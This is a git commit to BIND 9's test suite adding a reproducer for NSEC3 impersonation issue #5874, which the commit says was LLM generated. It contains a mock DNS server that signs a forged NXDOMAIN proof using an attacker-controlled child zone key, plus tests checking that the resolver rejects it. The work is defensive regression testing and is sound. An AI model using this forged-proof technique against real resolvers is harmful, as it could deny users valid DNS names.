From: Alessio Podda Date: Wed, 3 Jun 2026 08:42:43 +0000 (+0200) Subject: Reproducer for #5874 NSEC3 impersonation X-Git-Tag: v9.21.24~5^2~1 X-Git-Url: http://git.ipfire.org/gitweb/index.cgi?a=commitdiff_plain;h=f3e2eb333be3ac636f745aa13cfb8d9ee8af87d8;p=thirdparty%2Fbind9.git Reproducer for #5874 NSEC3 impersonation LLM generated. --- diff --git a/bin/tests/system/repro_5874_nsec3_parent/ans1/ans.py b/bin/tests/system/repro_5874_nsec3_parent/ans1/ans.py new file mode 100644 index 00000000000..614f26a014f --- /dev/null +++ b/bin/tests/system/repro_5874_nsec3_parent/ans1/ans.py @@ -0,0 +1,18 @@ +#!/usr/bin/python3 + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from server import main + + +if __name__ == "__main__": + main() diff --git a/bin/tests/system/repro_5874_nsec3_parent/ns2/named.conf.j2 b/bin/tests/system/repro_5874_nsec3_parent/ns2/named.conf.j2 new file mode 100644 index 00000000000..93588663734 --- /dev/null +++ b/bin/tests/system/repro_5874_nsec3_parent/ns2/named.conf.j2 @@ -0,0 +1,35 @@ +// validating resolver + +options { + query-source address 10.53.0.2; + notify-source 10.53.0.2; + transfer-source 10.53.0.2; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.2; }; + listen-on-v6 { none; }; + recursion yes; + dnssec-validation yes; + trust-anchor-telemetry no; + resolver-query-timeout 5000; +}; + +controls { + inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +include "../../_common/rndc.key"; + +zone "." { + type hint; + file "../../_common/root.hint"; +}; + +zone "tld.test" { + type static-stub; + server-addresses { 10.53.0.1; }; +}; + +trust-anchors { + tld.test. static-key 257 3 13 "@TLD_DNSKEY@"; +}; diff --git a/bin/tests/system/repro_5874_nsec3_parent/server.py b/bin/tests/system/repro_5874_nsec3_parent/server.py new file mode 100644 index 00000000000..c6856bb2289 --- /dev/null +++ b/bin/tests/system/repro_5874_nsec3_parent/server.py @@ -0,0 +1,249 @@ +#!/usr/bin/python3 + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from collections.abc import AsyncGenerator +from dataclasses import dataclass +from pathlib import Path + +import json + +from cryptography.hazmat.primitives import serialization + +import dns.dnssec +import dns.flags +import dns.message +import dns.name +import dns.rdata +import dns.rdataclass +import dns.rcode +import dns.rdatatype +import dns.rrset + +from isctest.asyncserver import ( + AsyncDnsServer, + DnsResponseSend, + QueryContext, + ResponseHandler, +) + +TTL = 300 +TLD = "tld.test." +APEX_HASH = "1B40241KFORIOG780N4IKSCRLVETPCTQ" +ATTACKER = f"{APEX_HASH.lower()}.{TLD}" +VICTIM = f"victim.{TLD}" +AUTH_IP = "10.53.0.1" + + +@dataclass(frozen=True) +class Key: + zone: dns.name.Name + private_key: object + dnskey: dns.rdata.Rdata + ds: dns.rdata.Rdata + + +def name(text: str) -> dns.name.Name: + return dns.name.from_text(text) + + +def load_keys() -> dict[str, Key]: + path = Path(__file__).resolve().parent / "keys.json" + with path.open(encoding="utf-8") as keys_file: + raw_keys = json.load(keys_file) + + keys = {} + for zone, raw_key in raw_keys.items(): + private_key = serialization.load_pem_private_key( + raw_key["private_pem"].encode("ascii"), + password=None, + ) + dnskey = dns.rdata.from_text( + dns.rdataclass.IN, dns.rdatatype.DNSKEY, raw_key["dnskey"] + ) + ds = dns.rdata.from_text(dns.rdataclass.IN, dns.rdatatype.DS, raw_key["ds"]) + keys[zone] = Key(name(zone), private_key, dnskey, ds) + + return keys + + +def rrset(owner: str, rdtype: dns.rdatatype.RdataType, *rdatas: str) -> dns.rrset.RRset: + return dns.rrset.from_text(owner, TTL, dns.rdataclass.IN, rdtype, *rdatas) + + +def rrset_from_rdata(owner: str, rdata: dns.rdata.Rdata) -> dns.rrset.RRset: + return dns.rrset.from_rdata(name(owner), TTL, rdata) + + +def rrsig_rrset(covered: dns.rrset.RRset, signer: Key) -> dns.rrset.RRset: + rrsig = dns.dnssec.sign( + covered, + signer.private_key, + signer.zone, + signer.dnskey, + lifetime=86400, + verify=True, + ) + return dns.rrset.from_rdata(covered.name, covered.ttl, rrsig) + + +def add_signed( + section: list[dns.rrset.RRset], covered: dns.rrset.RRset, signer: Key +) -> None: + section.append(covered) + section.append(rrsig_rrset(covered, signer)) + + +def dnskey_rrset(zone: str, zone_key: Key) -> dns.rrset.RRset: + return rrset_from_rdata(zone, zone_key.dnskey) + + +def ds_rrset(zone: str, zone_key: Key) -> dns.rrset.RRset: + return rrset_from_rdata(zone, zone_key.ds) + + +def soa_rrset(zone: str) -> dns.rrset.RRset: + return rrset( + zone, + dns.rdatatype.SOA, + f"ns.{zone} hostmaster.{zone} 1 3600 600 86400 300", + ) + + +def ns_rrset(zone: str, ns_target: str) -> dns.rrset.RRset: + return rrset(zone, dns.rdatatype.NS, ns_target) + + +def glue_rrset(ns_target: str, address: str) -> dns.rrset.RRset: + return rrset(ns_target, dns.rdatatype.A, address) + + +def answer_dnskey(response: dns.message.Message, zone: str, zone_key: Key) -> None: + add_signed(response.answer, dnskey_rrset(zone, zone_key), zone_key) + + +def answer_soa(response: dns.message.Message, zone: str, zone_key: Key) -> None: + add_signed(response.answer, soa_rrset(zone), zone_key) + + +def answer_ns( + response: dns.message.Message, zone: str, ns_target: str, zone_key: Key +) -> None: + add_signed(response.answer, ns_rrset(zone, ns_target), zone_key) + + +def answer_ds( + response: dns.message.Message, zone: str, child_key: Key, parent_key: Key +) -> None: + add_signed(response.answer, ds_rrset(zone, child_key), parent_key) + + +def child_nsec3_rrset() -> dns.rrset.RRset: + rdata = dns.rdata.from_text( + dns.rdataclass.IN, + dns.rdatatype.NSEC3, + f"1 0 0 - {APEX_HASH} NS SOA RRSIG DNSKEY NSEC3PARAM", + ) + return dns.rrset.from_rdata(name(f"{APEX_HASH}.{TLD}"), TTL, rdata) + + +def forged_nxdomain(response: dns.message.Message, keys: dict[str, Key]) -> None: + response.set_rcode(dns.rcode.NXDOMAIN) + + add_signed(response.authority, soa_rrset(TLD), keys[TLD]) + + # The owner name derives zone "tld.test.", but the RRSIG signer is the + # secure child zone "1b40241kforiog780n4ikscrlvetpctq.tld.test.". + add_signed(response.authority, child_nsec3_rrset(), keys[ATTACKER]) + + +class SignedResponseHandler(ResponseHandler): + def __init__(self, keys: dict[str, Key]) -> None: + self.keys = keys + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + qctx.prepare_new_response(with_zone_data=False) + qctx.response.flags |= dns.flags.AA + qctx.response.set_rcode(dns.rcode.NOERROR) + self.respond(qctx) + yield DnsResponseSend(qctx.response, authoritative=True) + + def respond(self, qctx: QueryContext) -> None: + raise NotImplementedError + + +class VictimForgedNxdomainHandler(SignedResponseHandler): + def match(self, qctx: QueryContext) -> bool: + return qctx.qname == name(VICTIM) and qctx.qtype == dns.rdatatype.A + + def respond(self, qctx: QueryContext) -> None: + forged_nxdomain(qctx.response, self.keys) + + +class ChildDsHandler(SignedResponseHandler): + def match(self, qctx: QueryContext) -> bool: + return qctx.qname == name(ATTACKER) and qctx.qtype == dns.rdatatype.DS + + def respond(self, qctx: QueryContext) -> None: + answer_ds(qctx.response, ATTACKER, self.keys[ATTACKER], self.keys[TLD]) + + +class AttackerZoneHandler(SignedResponseHandler): + def match(self, qctx: QueryContext) -> bool: + return qctx.qname.is_subdomain(name(ATTACKER)) + + def respond(self, qctx: QueryContext) -> None: + if qctx.qname == name(ATTACKER): + if qctx.qtype == dns.rdatatype.DNSKEY: + answer_dnskey(qctx.response, ATTACKER, self.keys[ATTACKER]) + elif qctx.qtype == dns.rdatatype.SOA: + answer_soa(qctx.response, ATTACKER, self.keys[ATTACKER]) + else: + answer_ns(qctx.response, ATTACKER, f"ns.{ATTACKER}", self.keys[ATTACKER]) + qctx.response.additional.append(glue_rrset(f"ns.{ATTACKER}", AUTH_IP)) + return + + qctx.response.set_rcode(dns.rcode.NXDOMAIN) + add_signed(qctx.response.authority, soa_rrset(ATTACKER), self.keys[ATTACKER]) + + +class TldZoneHandler(SignedResponseHandler): + def match(self, qctx: QueryContext) -> bool: + return qctx.qname.is_subdomain(name(TLD)) + + def respond(self, qctx: QueryContext) -> None: + if qctx.qname == name(TLD): + if qctx.qtype == dns.rdatatype.DNSKEY: + answer_dnskey(qctx.response, TLD, self.keys[TLD]) + elif qctx.qtype == dns.rdatatype.SOA: + answer_soa(qctx.response, TLD, self.keys[TLD]) + else: + answer_ns(qctx.response, TLD, "ns.tld.test.", self.keys[TLD]) + qctx.response.additional.append(glue_rrset("ns.tld.test.", AUTH_IP)) + return + + qctx.response.set_rcode(dns.rcode.NXDOMAIN) + add_signed(qctx.response.authority, soa_rrset(TLD), self.keys[TLD]) + + +def main() -> None: + keys = load_keys() + server = AsyncDnsServer(default_aa=True) + server.install_response_handlers( + VictimForgedNxdomainHandler(keys), + ChildDsHandler(keys), + AttackerZoneHandler(keys), + TldZoneHandler(keys), + ) + server.run() diff --git a/bin/tests/system/repro_5874_nsec3_parent/tests_repro_5874_nsec3_parent.py b/bin/tests/system/repro_5874_nsec3_parent/tests_repro_5874_nsec3_parent.py new file mode 100644 index 00000000000..5fbeff5befc --- /dev/null +++ b/bin/tests/system/repro_5874_nsec3_parent/tests_repro_5874_nsec3_parent.py @@ -0,0 +1,144 @@ +#!/usr/bin/python3 + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from pathlib import Path + +import json + +from cryptography.hazmat.primitives import serialization +from cryptography.hazmat.primitives.asymmetric import ec + +import dns.dnssec +import dns.flags +import dns.name +import dns.rdataclass +import dns.rdatatype +import pytest + +import isctest + +APEX_HASH = "1B40241KFORIOG780N4IKSCRLVETPCTQ" +ATTACKER = f"{APEX_HASH.lower()}.tld.test." +VICTIM = "victim.tld.test." +AUTH = "10.53.0.1" +RESOLVER = "10.53.0.2" + +pytestmark = pytest.mark.extra_artifacts( + [ + "ans*/ans.run", + "keys.json", + ] +) + + +def _make_key(zone): + private_key = ec.generate_private_key(ec.SECP256R1()) + dnskey = dns.dnssec.make_dnskey( + private_key.public_key(), + algorithm="ECDSAP256SHA256", + flags=257, + ) + ds = dns.dnssec.make_ds(dns.name.from_text(zone), dnskey, "SHA256") + private_pem = private_key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.PKCS8, + encryption_algorithm=serialization.NoEncryption(), + ).decode("ascii") + return { + "private_pem": private_pem, + "dnskey": dnskey.to_text(), + "ds": ds.to_text(), + } + + +def bootstrap(): + zones = ["tld.test.", ATTACKER] + keys = {zone: _make_key(zone) for zone in zones} + + Path("keys.json").write_text(json.dumps(keys, indent=2), encoding="ascii") + + tld_dnskey = "".join(keys["tld.test."]["dnskey"].split()[3:]) + return {"TLD_DNSKEY": tld_dnskey} + + +def _check_direct_dnskey_response(zone): + query = isctest.query.create(zone, "DNSKEY") + response = isctest.query.tcp(query, AUTH) + + isctest.check.noerror(response) + assert response.flags & dns.flags.AA + assert ( + response.get_rrset( + response.answer, + dns.name.from_text(zone), + dns.rdataclass.IN, + dns.rdatatype.DNSKEY, + ) + is not None + ), response + + +def _check_direct_ds_response(zone): + query = isctest.query.create(zone, "DS") + response = isctest.query.tcp(query, AUTH) + + isctest.check.noerror(response) + assert response.flags & dns.flags.AA + assert ( + response.get_rrset( + response.answer, + dns.name.from_text(zone), + dns.rdataclass.IN, + dns.rdatatype.DS, + ) + is not None + ), response + + +def test_repro_5874_direct_forged_nsec3_response_has_child_signer(): + _check_direct_dnskey_response("tld.test.") + _check_direct_dnskey_response(ATTACKER) + _check_direct_ds_response(ATTACKER) + + query = isctest.query.create(VICTIM, "A") + response = isctest.query.tcp(query, AUTH) + + isctest.check.nxdomain(response) + assert response.flags & dns.flags.AA + + nsec3_owner = dns.name.from_text(f"{APEX_HASH}.tld.test.") + nsec3 = response.get_rrset( + response.authority, + nsec3_owner, + dns.rdataclass.IN, + dns.rdatatype.NSEC3, + ) + rrsig = response.get_rrset( + response.authority, + nsec3_owner, + dns.rdataclass.IN, + dns.rdatatype.RRSIG, + covers=dns.rdatatype.NSEC3, + ) + + assert nsec3 is not None, response + assert rrsig is not None, response + assert rrsig[0].signer == dns.name.from_text(ATTACKER) + + +def test_repro_5874_resolver_rejects_child_signed_nsec3_parent_proof(): + query = isctest.query.create(VICTIM, "A") + response = isctest.query.tcp(query, RESOLVER) + + isctest.check.servfail(response) + isctest.check.noadflag(response)